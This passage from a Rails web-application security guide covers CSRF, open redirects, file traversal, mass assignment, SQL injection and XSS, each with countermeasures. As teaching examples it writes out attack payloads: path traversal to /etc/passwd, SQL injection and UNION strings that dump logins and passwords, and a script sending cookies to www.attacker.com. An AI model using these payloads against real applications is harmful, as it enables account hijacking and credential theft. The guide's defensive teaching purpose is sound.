-_(highlight)POST requests can be sent automatically, too_. Here is an example for a link which displays www.harmless.com as destination in the browser's status bar. In fact it dynamically creates a new form that sends a POST request.
-
-<html>
-<a href="http://www.harmless.com/" onclick="
- var f = document.createElement('form');
- f.style.display = 'none';
- this.parentNode.appendChild(f);
- f.method = 'POST';
- f.action = 'http://www.example.com/account/destroy';
- f.submit();
- return false;">To the harmless survey</a>
-</html>
-
-Or the attacker places the code into the onmouseover event handler of an image:
-
-<html>
-<img src="http://www.harmless.com/img" width="400" height="400" onmouseover="..." />
-</html>
-
-There are many other possibilities, including Ajax to attack the victim in the background.
The _(highlight)solution to this is including a security token in non-GET requests_ which check on the server-side. In Rails 2 or higher, this is a one-liner in the application controller:
-
-<ruby>
-protect_from_forgery :secret => "123456789012345678901234567890..."
-</ruby>
-
-This will automatically include a security token, calculated from the current session and the server-side secret, in all forms and Ajax requests generated by Rails. You won't need the secret, if you use CookieStorage as session storage. If the security token doesn't match what was expected, the session will be reset. *Note:* In Rails versions prior to 3.0.4, this raised an <tt>ActionController::InvalidAuthenticityToken</tt> error.
-
-Note that _(highlight)cross-site scripting (XSS) vulnerabilities bypass all CSRF protections_. XSS gives the attacker access to all elements on a page, so he can read the CSRF security token from a form or directly submit the form. Read <a href="#cross-site-scripting-xss">more about XSS</a> later.
-
-h3. Redirection and Files
-
-Another class of security vulnerabilities surrounds the use of redirection and files in web applications.
-
-h4. Redirection
-
--- _Redirection in a web application is an underestimated cracker tool: Not only can the attacker forward the user to a trap web site, he may also create a self-contained attack._
-
-Whenever the user is allowed to pass (parts of) the URL for redirection, it is possibly vulnerable. The most obvious attack would be to redirect users to a fake web application which looks and feels exactly as the original one. This so-called phishing attack works by sending an unsuspicious link in an email to the users, injecting the link by XSS in the web application or putting the link into an external site. It is unsuspicious, because the link starts with the URL to the web application and the URL to the malicious site is hidden in the redirection parameter: http://www.example.com/site/redirect?to= www.attacker.com. Here is an example of a legacy action:
-
-<ruby>
-def legacy
- redirect_to(params.update(:action=>'main'))
-end
-</ruby>
-
-This will redirect the user to the main action if he tried to access a legacy action. The intention was to preserve the URL parameters to the legacy action and pass them to the main action. However, it can exploited by an attacker if he includes a host key in the URL:
-
-<plain>
-http://www.example.com/site/legacy?param1=xy&param2=23&host=www.attacker.com
-</plain>
-
-If it is at the end of the URL it will hardly be noticed and redirects the user to the attacker.com host. A simple countermeasure would be to _(highlight)include only the expected parameters in a legacy action_ (again a whitelist approach, as opposed to removing unexpected parameters). _(highlight)And if you redirect to an URL, check it with a whitelist or a regular expression_.
-
-h5. Self-contained XSS
-
-Another redirection and self-contained XSS attack works in Firefox and Opera by the use of the data protocol. This protocol displays its contents directly in the browser and can be anything from HTML or JavaScript to entire images:
-
-+data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K+
-
-This example is a Base64 encoded JavaScript which displays a simple message box. In a redirection URL, an attacker could redirect to this URL with the malicious code in it. As a countermeasure, _(highlight)do not allow the user to supply (parts of) the URL to be redirected to_.
-
-h4. File Uploads
-
--- _Make sure file uploads don't overwrite important files, and process media files asynchronously._
-
-Many web applications allow users to upload files. _(highlight)File names, which the user may choose (partly), should always be filtered_ as an attacker could use a malicious file name to overwrite any file on the server. If you store file uploads at /var/www/uploads, and the user enters a file name like “../../../etc/passwd”, it may overwrite an important file. Of course, the Ruby interpreter would need the appropriate permissions to do so – one more reason to run web servers, database servers and other programs as a less privileged Unix user.
-
-When filtering user input file names, _(highlight)don't try to remove malicious parts_. Think of a situation where the web application removes all “../” in a file name and an attacker uses a string such as “....//” - the result will be “../”. It is best to use a whitelist approach, which _(highlight)checks for the validity of a file name with a set of accepted characters_. This is opposed to a blacklist approach which attempts to remove not allowed characters. In case it isn't a valid file name, reject it (or replace not accepted characters), but don't remove them. Here is the file name sanitizer from the "attachment_fu plugin":https://github.com/technoweenie/attachment_fu/tree/master:
-
-<ruby>
-def sanitize_filename(filename)
- filename.strip.tap do |name|
- # NOTE: File.basename doesn't work right with Windows paths on Unix
- # get only the filename, not the whole path
- name.sub! /\A.*(\\|\/)/, ''
- # Finally, replace all non alphanumeric, underscore
- # or periods with underscore
- name.gsub! /[^\w\.\-]/, '_'
- end
-end
-</ruby>
-
-A significant disadvantage of synchronous processing of file uploads (as the attachment_fu plugin may do with images), is its _(highlight)vulnerability to denial-of-service attacks_. An attacker can synchronously start image file uploads from many computers which increases the server load and may eventually crash or stall the server.
-
-The solution to this is best to _(highlight)process media files asynchronously_: Save the media file and schedule a processing request in the database. A second process will handle the processing of the file in the background.
-
-h4. Executable Code in File Uploads
-
--- _Source code in uploaded files may be executed when placed in specific directories. Do not place file uploads in Rails' /public directory if it is Apache's home directory._
-
-The popular Apache web server has an option called DocumentRoot. This is the home directory of the web site, everything in this directory tree will be served by the web server. If there are files with a certain file name extension, the code in it will be executed when requested (might require some options to be set). Examples for this are PHP and CGI files. Now think of a situation where an attacker uploads a file “file.cgi” with code in it, which will be executed when someone downloads the file.
-
-_(highlight)If your Apache DocumentRoot points to Rails' /public directory, do not put file uploads in it_, store files at least one level downwards.
-
-h4. File Downloads
-
--- _Make sure users cannot download arbitrary files._
-
-Just as you have to filter file names for uploads, you have to do so for downloads. The send_file() method sends files from the server to the client. If you use a file name, that the user entered, without filtering, any file can be downloaded:
-
-<ruby>
-send_file('/var/www/uploads/' + params[:filename])
-</ruby>
-
-Simply pass a file name like “../../../etc/passwd” to download the server's login information. A simple solution against this, is to _(highlight)check that the requested file is in the expected directory_:
-
-<ruby>
-basename = File.expand_path(File.join(File.dirname(__FILE__), '../../files'))
-filename = File.expand_path(File.join(basename, @file.public_filename))
-raise if basename !=
- File.expand_path(File.join(File.dirname(filename), '../../../'))
-send_file filename, :disposition => 'inline'
-</ruby>
-
-Another (additional) approach is to store the file names in the database and name the files on the disk after the ids in the database. This is also a good approach to avoid possible code in an uploaded file to be executed. The attachment_fu plugin does this in a similar way.
-
-h3. Intranet and Admin Security
-
--- _Intranet and administration interfaces are popular attack targets, because they allow privileged access. Although this would require several extra-security measures, the opposite is the case in the real world._
-
-In 2007 there was the first tailor-made trojan which stole information from an Intranet, namely the "Monster for employers" web site of Monster.com, an online recruitment web application. Tailor-made Trojans are very rare, so far, and the risk is quite low, but it is certainly a possibility and an example of how the security of the client host is important, too. However, the highest threat to Intranet and Admin applications are XSS and CSRF.

-
-*XSS* If your application re-displays malicious user input from the extranet, the application will be vulnerable to XSS. User names, comments, spam reports, order addresses are just a few uncommon examples, where there can be XSS.
-
-Having one single place in the admin interface or Intranet, where the input has not been sanitized, makes the entire application vulnerable. Possible exploits include stealing the privileged administrator's cookie, injecting an iframe to steal the administrator's password or installing malicious software through browser security holes to take over the administrator's computer.
-
-Refer to the Injection section for countermeasures against XSS. It is _(highlight)recommended to use the SafeErb plugin_ also in an Intranet or administration interface.
-
-*CSRF* Cross-Site Reference Forgery (CSRF) is a gigantic attack method, it allows the attacker to do everything the administrator or Intranet user may do. As you have already seen above how CSRF works, here are a few examples of what attackers can do in the Intranet or admin interface.
-
-A real-world example is a "router reconfiguration by CSRF":http://www.h-online.com/security/Symantec-reports-first-active-attack-on-a-DSL-router--/news/102352. The attackers sent a malicious e-mail, with CSRF in it, to Mexican users. The e-mail claimed there was an e-card waiting for them, but it also contained an image tag that resulted in a HTTP-GET request to reconfigure the user's router (which is a popular model in Mexico). The request changed the DNS-settings so that requests to a Mexico-based banking site would be mapped to the attacker's site. Everyone who accessed the banking site through that router saw the attacker's fake web site and had his credentials stolen.
-
-Another example changed Google Adsense's e-mail address and password by. If the victim was logged into Google Adsense, the administration interface for Google advertisements campaigns, an attacker could change his credentials.

-
-Another popular attack is to spam your web application, your blog or forum to propagate malicious XSS. Of course, the attacker has to know the URL structure, but most Rails URLs are quite straightforward or they will be easy to find out, if it is an open-source application's admin interface. The attacker may even do 1,000 lucky guesses by just including malicious IMG-tags which try every possible combination.
-
-For _(highlight)countermeasures against CSRF in administration interfaces and Intranet applications, refer to the countermeasures in the CSRF section_.
-
-h4. Additional Precautions
-
-The common admin interface works like this: it's located at www.example.com/admin, may be accessed only if the admin flag is set in the User model, re-displays user input and allows the admin to delete/add/edit whatever data desired. Here are some thoughts about this:
-
-* It is very important to _(highlight)think about the worst case_: What if someone really got hold of my cookie or user credentials. You could _(highlight)introduce roles_ for the admin interface to limit the possibilities of the attacker. Or how about _(highlight)special login credentials_ for the admin interface, other than the ones used for the public part of the application. Or a _(highlight)special password for very serious actions_?
-
-* Does the admin really have to access the interface from everywhere in the world? Think about _(highlight)limiting the login to a bunch of source IP addresses_. Examine request.remote_ip to find out about the user's IP address. This is not bullet-proof, but a great barrier. Remember that there might be a proxy in use, though.
-
-* _(highlight)Put the admin interface to a special sub-domain_ such as admin.application.com and make it a separate application with its own user management. This makes stealing an admin cookie from the usual domain, www.application.com, impossible. This is because of the same origin policy in your browser: An injected (XSS) script on www.application.com may not read the cookie for admin.application.com and vice-versa.
-
-h3. Mass Assignment
-
--- _Without any precautions Model.new(params[:model]) allows attackers to set any database column's value._
-
-The mass-assignment feature may become a problem, as it allows an attacker to set any model's attributes by manipulating the hash passed to a model's +new()+ method:
-
-<ruby>
-def signup
- params[:user] # => {:name => “ow3ned”, :admin => true}
- @user = User.new(params[:user])
-end
-</ruby>
-
-Mass-assignment saves you much work, because you don't have to set each value individually. Simply pass a hash to the +new+ method, or +assign_attributes=+ a hash value, to set the model's attributes to the values in the hash. The problem is that it is often used in conjunction with the parameters (params) hash available in the controller, which may be manipulated by an attacker. He may do so by changing the URL like this:
-
-<pre>
-"name":http://www.example.com/user/signup?user[name]=ow3ned&user[admin]=1
-</pre>
-
-This will set the following parameters in the controller:
-
-<ruby>
-params[:user] # => {:name => “ow3ned”, :admin => true}
-</ruby>
-
-So if you create a new user using mass-assignment, it may be too easy to become an administrator.
-
-Note that this vulnerability is not restricted to database columns. Any setter method, unless explicitly protected, is accessible via the <tt>attributes=</tt> method. In fact, this vulnerability is extended even further with the introduction of nested mass assignment (and nested object forms) in Rails 2.3+. The +accepts_nested_attributes_for+ declaration provides us the ability to extend mass assignment to model associations (+has_many+, +has_one+, +has_and_belongs_to_many+). For example:
-
-<ruby>
- class Person < ActiveRecord::Base
- has_many :children
-
- accepts_nested_attributes_for :children
- end
-
- class Child < ActiveRecord::Base
- belongs_to :person
- end
-</ruby>
-
-As a result, the vulnerability is extended beyond simply exposing column assignment, allowing attackers the ability to create entirely new records in referenced tables (children in this case).
-
-h4. Countermeasures
-
-To avoid this, Rails provides two class methods in your Active Record class to control access to your attributes. The +attr_protected+ method takes a list of attributes that will not be accessible for mass-assignment. For example:
-
-<ruby>
-attr_protected :admin
-</ruby>
-
-+attr_protected+ also optionally takes a role option using :as which allows you to define multiple mass-assignment groupings. If no role is defined then attributes will be added to the :default role.
-
-<ruby>
-attr_protected :last_login, :as => :admin
-</ruby>
-
-A much better way, because it follows the whitelist-principle, is the +attr_accessible+ method. It is the exact opposite of +attr_protected+, because _(highlight)it takes a list of attributes that will be accessible_. All other attributes will be protected. This way you won't forget to protect attributes when adding new ones in the course of development. Here is an example:
-
-<ruby>
-attr_accessible :name
-attr_accessible :name, :is_admin, :as => :admin
-</ruby>
-
-If you want to set a protected attribute, you will to have to assign it individually:
-
-<ruby>
-params[:user] # => {:name => "ow3ned", :admin => true}
-@user = User.new(params[:user])
-@user.admin # => false # not mass-assigned
-@user.admin = true
-@user.admin # => true
-</ruby>
-
-When assigning attributes in Active Record using +attributes=+ the :default role will be used. To assign attributes using different roles you should use +assign_attributes+ which accepts an optional :as options parameter. If no :as option is provided then the :default role will be used. You can also bypass mass-assignment security by using the +:without_protection+ option. Here is an example:
-
-<ruby>
-@user = User.new
-
-@user.assign_attributes({ :name => 'Josh', :is_admin => true })
-@user.name # => Josh
-@user.is_admin # => false
-
-@user.assign_attributes({ :name => 'Josh', :is_admin => true }, :as => :admin)
-@user.name # => Josh
-@user.is_admin # => true
-
-@user.assign_attributes({ :name => 'Josh', :is_admin => true }, :without_protection => true)
-@user.name # => Josh
-@user.is_admin # => true
-</ruby>
-
-In a similar way, +new+, +create+, <tt>create!</tt>, +update_attributes+, and +update_attributes!+ methods all respect mass-assignment security and accept either +:as+ or +:without_protection+ options. For example:
-
-<ruby>
-@user = User.new({ :name => 'Sebastian', :is_admin => true }, :as => :admin)
-@user.name # => Sebastian
-@user.is_admin # => true
-
-@user = User.create({ :name => 'Sebastian', :is_admin => true }, :without_protection => true)
-@user.name # => Sebastian
-@user.is_admin # => true
-</ruby>
-
-A more paranoid technique to protect your whole project would be to enforce that all models define their accessible attributes. This can be easily achieved with a very simple application config option of:
-
-<ruby>
-config.active_record.whitelist_attributes = true
-</ruby>
-
-This will create an empty whitelist of attributes available for mass-assignment for all models in your app. As such, your models will need to explicitly whitelist or blacklist accessible parameters by using an +attr_accessible+ or +attr_protected+ declaration. This technique is best applied at the start of a new project. However, for an existing project with a thorough set of functional tests, it should be straightforward and relatively quick to use this application config option; run your tests, and expose each attribute (via +attr_accessible+ or +attr_protected+) as dictated by your failing tests.
-
-h3. User Management
-
--- _Almost every web application has to deal with authorization and authentication. Instead of rolling your own, it is advisable to use common plug-ins. But keep them up-to-date, too. A few additional precautions can make your application even more secure._
-
-There are some authorization and authentication plug-ins for Rails available. A good one saves only encrypted passwords, not plain-text passwords. The most popular plug-in is +restful_authentication+ which protects from session fixation, too. However, earlier versions allowed you to login without user name and password in certain circumstances.
-
-Every new user gets an activation code to activate his account when he gets an e-mail with a link in it. After activating the account, the activation_code columns will be set to NULL in the database. If someone requested an URL like these, he would be logged in as the first activated user found in the database (and chances are that this is the administrator):
-
-<plain>
-http://localhost:3006/user/activate
-http://localhost:3006/user/activate?id=
-</plain>
-
-This is possible because on some servers, this way the parameter id, as in params[:id], would be nil. However, here is the finder from the activation action:
-
-<ruby>
-User.find_by_activation_code(params[:id])
-</ruby>
-
-If the parameter was nil, the resulting SQL query will be
-
-<sql>
-SELECT * FROM users WHERE (users.activation_code IS NULL) LIMIT 1
-</sql>
-
-And thus it found the first user in the database, returned it and logged him in. You can find out more about it in "my blog post":http://www.rorsecurity.info/2007/10/28/restful_authentication-login-security/. _(highlight)It is advisable to update your plug-ins from time to time_. Moreover, you can review your application to find more flaws like this.
-
-h4. Brute-Forcing Accounts
-
--- _Brute-force attacks on accounts are trial and error attacks on the login credentials. Fend them off with more generic error messages and possibly require to enter a CAPTCHA._
-
-A list of user names for your web application may be misused to brute-force the corresponding passwords, because most people don't use sophisticated passwords. Most passwords are a combination of dictionary words and possibly numbers. So armed with a list of user names and a dictionary, an automatic program may find the correct password in a matter of minutes.
-
-Because of this, most web applications will display a generic error message “user name or password not correct”, if one of these are not correct. If it said “the user name you entered has not been found”, an attacker could automatically compile a list of user names.
-
-However, what most web application designers neglect, are the forgot-password pages. These pages often admit that the entered user name or e-mail address has (not) been found. This allows an attacker to compile a list of user names and brute-force the accounts.
-
-In order to mitigate such attacks, _(highlight)display a generic error message on forgot-password pages, too_. Moreover, you can _(highlight)require to enter a CAPTCHA after a number of failed logins from a certain IP address_. Note, however, that this is not a bullet-proof solution against automatic programs, because these programs may change their IP address exactly as often. However, it raises the barrier of an attack.
-
-h4. Account Hijacking
-
--- _Many web applications make it easy to hijack user accounts. Why not be different and make it more difficult?_
-
-h5. Passwords
-
-Think of a situation where an attacker has stolen a user's session cookie and thus may co-use the application. If it is easy to change the password, the attacker will hijack the account with a few clicks. Or if the change-password form is vulnerable to CSRF, the attacker will be able to change the victim's password by luring him to a web page where there is a crafted IMG-tag which does the CSRF. As a countermeasure, _(highlight)make change-password forms safe against CSRF_, of course. And _(highlight)require the user to enter the old password when changing it_.
-
-h5. E-Mail
-
-However, the attacker may also take over the account by changing the e-mail address. After he changed it, he will go to the forgotten-password page and the (possibly new) password will be mailed to the attacker's e-mail address. As a countermeasure _(highlight)require the user to enter the password when changing the e-mail address, too_.
-
-h5. Other
-
-Depending on your web application, there may be more ways to hijack the user's account. In many cases CSRF and XSS will help to do so. For example, as in a CSRF vulnerability in "Google Mail":http://www.gnucitizen.org/blog/google-gmail-e-mail-hijack-technique/. In this proof-of-concept attack, the victim would have been lured to a web site controlled by the attacker. On that site is a crafted IMG-tag which results in a HTTP GET request that changes the filter settings of Google Mail. If the victim was logged in to Google Mail, the attacker would change the filters to forward all e-mails to his e-mail address. This is nearly as harmful as hijacking the entire account. As a countermeasure, _(highlight)review your application logic and eliminate all XSS and CSRF vulnerabilities_.
-
-h4. CAPTCHAs
-
--- _A CAPTCHA is a challenge-response test to determine that the response is not generated by a computer. It is often used to protect comment forms from automatic spam bots by asking the user to type the letters of a distorted image. The idea of a negative CAPTCHA is not for a user to prove that he is human, but reveal that a robot is a robot._
-
-But not only spam robots (bots) are a problem, but also automatic login bots. A popular CAPTCHA API is "reCAPTCHA":http://recaptcha.net/ which displays two distorted images of words from old books. It also adds an angled line, rather than a distorted background and high levels of warping on the text as earlier CAPTCHAs did, because the latter were broken. As a bonus, using reCAPTCHA helps to digitize old books. "ReCAPTCHA":http://ambethia.com/recaptcha/ is also a Rails plug-in with the same name as the API.
-
-You will get two keys from the API, a public and a private key, which you have to put into your Rails environment. After that you can use the recaptcha_tags method in the view, and the verify_recaptcha method in the controller. Verify_recaptcha will return false if the validation fails.
-The problem with CAPTCHAs is, they are annoying. Additionally, some visually impaired users have found certain kinds of distorted CAPTCHAs difficult to read. The idea of negative CAPTCHAs is not to ask a user to proof that he is human, but reveal that a spam robot is a bot.
-
-Most bots are really dumb, they crawl the web and put their spam into every form's field they can find. Negative CAPTCHAs take advantage of that and include a "honeypot" field in the form which will be hidden from the human user by CSS or JavaScript.
-
-Here are some ideas how to hide honeypot fields by JavaScript and/or CSS:
-
-* position the fields off of the visible area of the page
-* make the elements very small or color them the same as the background of the page
-* leave the fields displayed, but tell humans to leave them blank
-
-The most simple negative CAPTCHA is one hidden honeypot field. On the server side, you will check the value of the field: If it contains any text, it must be a bot. Then, you can either ignore the post or return a positive result, but not saving the post to the database. This way the bot will be satisfied and moves on. You can do this with annoying users, too.
-
-You can find more sophisticated negative CAPTCHAs in Ned Batchelder's "blog post":http://nedbatchelder.com/text/stopbots.html:
-
-* Include a field with the current UTC time-stamp in it and check it on the server. If it is too far in the past, or if it is in the future, the form is invalid.
-* Randomize the field names
-* Include more than one honeypot field of all types, including submission buttons
-
-Note that this protects you only from automatic bots, targeted tailor-made bots cannot be stopped by this. So _(highlight)negative CAPTCHAs might not be good to protect login forms_.
-
-h4. Logging
-
--- _Tell Rails not to put passwords in the log files._
-
-By default, Rails logs all requests being made to the web application. But log files can be a huge security issue, as they may contain login credentials, credit card numbers et cetera. When designing a web application security concept, you should also think about what will happen if an attacker got (full) access to the web server. Encrypting secrets and passwords in the database will be quite useless, if the log files list them in clear text. You can _(highlight)filter certain request parameters from your log files_ by appending them to <tt>config.filter_parameters</tt> in the application configuration. These parameters will be marked [FILTERED] in the log.
-
-<ruby>
-config.filter_parameters << :password
-</ruby>
-
-h4. Good Passwords
-
--- _Do you find it hard to remember all your passwords? Don't write them down, but use the initial letters of each word in an easy to remember sentence._
-
-Bruce Schneier, a security technologist, "has analyzed":http://www.schneier.com/blog/archives/2006/12/realworld_passw.html 34,000 real-world user names and passwords from the MySpace phishing attack mentioned <a href="#examples-from-the-underground">below</a>. It turns out that most of the passwords are quite easy to crack. The 20 most common passwords are:
-
-password1, abc123, myspace1, password, blink182, qwerty1, ****you, 123abc, baseball1, football1, 123456, soccer, monkey1, liverpool1, princess1, jordan23, slipknot1, superman1, iloveyou1, and monkey.
-
-It is interesting that only 4% of these passwords were dictionary words and the great majority is actually alphanumeric. However, password cracker dictionaries contain a large number of today's passwords, and they try out all kinds of (alphanumerical) combinations. If an attacker knows your user name and you use a weak password, your account will be easily cracked.
-
-A good password is a long alphanumeric combination of mixed cases. As this is quite hard to remember, it is advisable to enter only the _(highlight)first letters of a sentence that you can easily remember_. For example "The quick brown fox jumps over the lazy dog" will be "Tqbfjotld". Note that this is just an example, you should not use well known phrases like these, as they might appear in cracker dictionaries, too.
-
-h4. Regular Expressions
-
--- _A common pitfall in Ruby's regular expressions is to match the string's beginning and end by ^ and $, instead of \A and \z._
-
-Ruby uses a slightly different approach than many other languages to match the end and the beginning of a string. That is why even many Ruby and Rails books make this wrong. So how is this a security threat? Imagine you have a File model and you validate the file name by a regular expression like this:
-
-<ruby>
-class File < ActiveRecord::Base
- validates :name, :format => /^[\w\.\-\<plus>]<plus>$/
-end
-</ruby>
-
-This means, upon saving, the model will validate the file name to consist only of alphanumeric characters, dots, + and -. And the programmer added ^ and $ so that file name will contain these characters from the beginning to the end of the string. However, _(highlight)in Ruby ^ and $ matches the *line* beginning and line end_. And thus a file name like this passes the filter without problems:
-
-<plain>
-file.txt%0A<script>alert('hello')</script>
-</plain>
-
-Whereas %0A is a line feed in URL encoding, so Rails automatically converts it to "file.txt\n&lt;script&gt;alert('hello')&lt;/script&gt;". This file name passes the filter because the regular expression matches – up to the line end, the rest does not matter. The correct expression should read:
-
-<ruby>
-/\A[\w\.\-\<plus>]<plus>\z/
-</ruby>
-
-h4. Privilege Escalation
-
--- _Changing a single parameter may give the user unauthorized access. Remember that every parameter may be changed, no matter how much you hide or obfuscate it._
-
-The most common parameter that a user might tamper with, is the id parameter, as in +http://www.domain.com/project/1+, whereas 1 is the id. It will be available in params in the controller. There, you will most likely do something like this:
-
-<ruby>
-@project = Project.find(params[:id])
-</ruby>
-
-This is alright for some web applications, but certainly not if the user is not authorized to view all projects. If the user changes the id to 42, and he is not allowed to see that information, he will have access to it anyway. Instead, _(highlight)query the user's access rights, too_:
-
-<ruby>
-@project = @current_user.projects.find(params[:id])
-</ruby>
-
-Depending on your web application, there will be many more parameters the user can tamper with. As a rule of thumb, _(highlight)no user input data is secure, until proven otherwise, and every parameter from the user is potentially manipulated_.
-
-Don't be fooled by security by obfuscation and JavaScript security. The Web Developer Toolbar for Mozilla Firefox lets you review and change every form's hidden fields. _(highlight)JavaScript can be used to validate user input data, but certainly not to prevent attackers from sending malicious requests with unexpected values_. The Live Http Headers plugin for Mozilla Firefox logs every request and may repeat and change them. That is an easy way to bypass any JavaScript validations. And there are even client-side proxies that allow you to intercept any request and response from and to the Internet.
-
-h3. Injection
-
--- _Injection is a class of attacks that introduce malicious code or parameters into a web application in order to run it within its security context. Prominent examples of injection are cross-site scripting (XSS) and SQL injection._
-
-Injection is very tricky, because the same code or parameter can be malicious in one context, but totally harmless in another. A context can be a scripting, query or programming language, the shell or a Ruby/Rails method. The following sections will cover all important contexts where injection attacks may happen. The first section, however, covers an architectural decision in connection with Injection.
-
-h4. Whitelists versus Blacklists
-
--- _When sanitizing, protecting or verifying something, whitelists over blacklists._
-
-A blacklist can be a list of bad e-mail addresses, non-public actions or bad HTML tags. This is opposed to a whitelist which lists the good e-mail addresses, public actions, good HTML tags and so on. Although, sometimes it is not possible to create a whitelist (in a SPAM filter, for example), _(highlight)prefer to use whitelist approaches_:
-
-* Use before_filter :only => [...] instead of :except => [...]. This way you don't forget to turn it off for newly added actions.
-* Use attr_accessible instead of attr_protected. See the mass-assignment section for details
-* Allow &lt;strong&gt; instead of removing &lt;script&gt; against Cross-Site Scripting (XSS). See below for details.
-* Don't try to correct user input by blacklists:
-** This will make the attack work: "&lt;sc&lt;script&gt;ript&gt;".gsub("&lt;script&gt;", "")
-** But reject malformed input
-
-Whitelists are also a good approach against the human factor of forgetting something in the blacklist.
-
-h4. SQL Injection
-
--- _Thanks to clever methods, this is hardly a problem in most Rails applications. However, this is a very devastating and common attack in web applications, so it is important to understand the problem._
-
-h5(#sql-injection-introduction). Introduction
-
-SQL injection attacks aim at influencing database queries by manipulating web application parameters. A popular goal of SQL injection attacks is to bypass authorization. Another goal is to carry out data manipulation or reading arbitrary data. Here is an example of how not to use user input data in a query:
-
-<ruby>
-Project.where("name = '#{params[:name]}'")
-</ruby>
-
-This could be in a search action and the user may enter a project's name that he wants to find. If a malicious user enters ' OR 1 --, the resulting SQL query will be:
-
-<sql>
-SELECT * FROM projects WHERE name = '' OR 1 --'
-</sql>
-
-The two dashes start a comment ignoring everything after it. So the query returns all records from the projects table including those blind to the user. This is because the condition is true for all records.
-
-h5. Bypassing Authorization
-
-Usually a web application includes access control. The user enters his login credentials, the web application tries to find the matching record in the users table. The application grants access when it finds a record. However, an attacker may possibly bypass this check with SQL injection. The following shows a typical database query in Rails to find the first record in the users table which matches the login credentials parameters supplied by the user.
-
-<ruby>
-User.first("login = '#{params[:name]}' AND password = '#{params[:password]}'")
-</ruby>
-
-If an attacker enters ' OR '1'='1 as the name, and ' OR '2'>'1 as the password, the resulting SQL query will be:
-
-<sql>
-SELECT * FROM users WHERE login = '' OR '1'='1' AND password = '' OR '2'>'1' LIMIT 1
-</sql>
-
-This will simply find the first record in the database, and grants access to this user.
-
-h5. Unauthorized Reading
-
-The UNION statement connects two SQL queries and returns the data in one set. An attacker can use it to read arbitrary data from the database. Let's take the example from above:
-
-<ruby>
-Project.where("name = '#{params[:name]}'")
-</ruby>
-
-And now let's inject another query using the UNION statement:
-
-<plain>
-') UNION SELECT id,login AS name,password AS description,1,1,1 FROM users --
-</plain>
-
-This will result in the following SQL query:
-
-<sql>
-SELECT * FROM projects WHERE (name = '') UNION
- SELECT id,login AS name,password AS description,1,1,1 FROM users --'
-</sql>
-
-The result won't be a list of projects (because there is no project with an empty name), but a list of user names and their password. So hopefully you encrypted the passwords in the database! The only problem for the attacker is, that the number of columns has to be the same in both queries. That's why the second query includes a list of ones (1), which will be always the value 1, in order to match the number of columns in the first query.
-
-Also, the second query renames some columns with the AS statement so that the web application displays the values from the user table. Be sure to update your Rails "to at least 2.1.1":http://www.rorsecurity.info/2008/09/08/sql-injection-issue-in-limit-and-offset-parameter/.
-
-h5(#sql-injection-countermeasures). Countermeasures
-
-Ruby on Rails has a built-in filter for special SQL characters, which will escape ' , " , NULL character and line breaks. <em class="highlight">Using +Model.find(id)+ or +Model.find_by_some thing(something)+ automatically applies this countermeasure</em>. But in SQL fragments, especially <em class="highlight">in conditions fragments (+where("...")+), the +connection.execute()+ or +Model.find_by_sql()+ methods, it has to be applied manually</em>.
-
-Instead of passing a string to the conditions option, you can pass an array to sanitize tainted strings like this:
-
-<ruby>
-Model.where("login = ? AND password = ?", entered_user_name, entered_password).first
-</ruby>
-
-As you can see, the first part of the array is an SQL fragment with question marks. The sanitized versions of the variables in the second part of the array replace the question marks. Or you can pass a hash for the same result:
-
-<ruby>
-Model.where(:login => entered_user_name, :password => entered_password).first
-</ruby>
-
-The array or hash form is only available in model instances. You can try +sanitize_sql()+ elsewhere. _(highlight)Make it a habit to think about the security consequences when using an external string in SQL_.
-
-h4. Cross-Site Scripting (XSS)
-
--- _The most widespread, and one of the most devastating security vulnerabilities in web applications is XSS. This malicious attack injects client-side executable code. Rails provides helper methods to fend these attacks off._
-
-h5. Entry Points
-
-An entry point is a vulnerable URL and its parameters where an attacker can start an attack.
-
-The most common entry points are message posts, user comments, and guest books, but project titles, document names and search result pages have also been vulnerable - just about everywhere where the user can input data. But the input does not necessarily have to come from input boxes on web sites, it can be in any URL parameter – obvious, hidden or internal. Remember that the user may intercept any traffic. Applications, such as the "Live HTTP Headers Firefox plugin":http://livehttpheaders.mozdev.org/, or client-site proxies make it easy to change requests.
-
-XSS attacks work like this: An attacker injects some code, the web application saves it and displays it on a page, later presented to a victim. Most XSS examples simply display an alert box, but it is more powerful than that. XSS can steal the cookie, hijack the session, redirect the victim to a fake website, display advertisements for the benefit of the attacker, change elements on the web site to get confidential information or install malicious software through security holes in the web browser.
-
-During the second half of 2007, there were 88 vulnerabilities reported in Mozilla browsers, 22 in Safari, 18 in IE, and 12 in Opera. The "Symantec Global Internet Security threat report":http://eval.symantec.com/mktginfo/enterprise/white_papers/b-whitepaper_internet_security_threat_report_xiii_04-2008.en-us.pdf also documented 239 browser plug-in vulnerabilities in the last six months of 2007. "Mpack":http://pandalabs.pandasecurity.com/mpack-uncovered/ is a very active and up-to-date attack framework which exploits these vulnerabilities. For criminal hackers, it is very attractive to exploit an SQL-Injection vulnerability in a web application framework and insert malicious code in every textual table column. In April 2008 more than 510,000 sites were hacked like this, among them the British government, United Nations, and many more high targets.
-
-A relatively new, and unusual, form of entry points are banner advertisements. In earlier 2008, malicious code appeared in banner ads on popular sites, such as MySpace and Excite, according to "Trend Micro":http://blog.trendmicro.com/myspace-excite-and-blick-serve-up-malicious-banner-ads/.
-
-h5. HTML/JavaScript Injection
-
-The most common XSS language is of course the most popular client-side scripting language JavaScript, often in combination with HTML. _(highlight)Escaping user input is essential_.
-
-Here is the most straightforward test to check for XSS:
-
-<html>
-<script>alert('Hello');</script>
-</html>
-
-This JavaScript code will simply display an alert box. The next examples do exactly the same, only in very uncommon places:
-
-<html>
-<img src=javascript:alert('Hello')>
-<table background="javascript:alert('Hello')">
-</html>
-
-h6. Cookie Theft
-
-These examples don't do any harm so far, so let's see how an attacker can steal the user's cookie (and thus hijack the user's session). In JavaScript you can use the document.cookie property to read and write the document's cookie. JavaScript enforces the same origin policy, that means a script from one domain cannot access cookies of another domain. The document.cookie property holds the cookie of the originating web server. However, you can read and write this property, if you embed the code directly in the HTML document (as it happens with XSS). Inject this anywhere in your web application to see your own cookie on the result page:
-
-<plain>
-<script>document.write(document.cookie);</script>
-</plain>
-
-For an attacker, of course, this is not useful, as the victim will see his own cookie. The next example will try to load an image from the URL http://www.attacker.com/ plus the cookie. Of course this URL does not exist, so the browser displays nothing. But the attacker can review his web server's access log files to see the victim's cookie.
-
-<html>
-<script>document.write('<img src="http://www.attacker.com/' <plus> document.cookie <plus> '">');</script>
-</html>
-
-The log files on www.attacker.com will read like this:
-
-<plain>
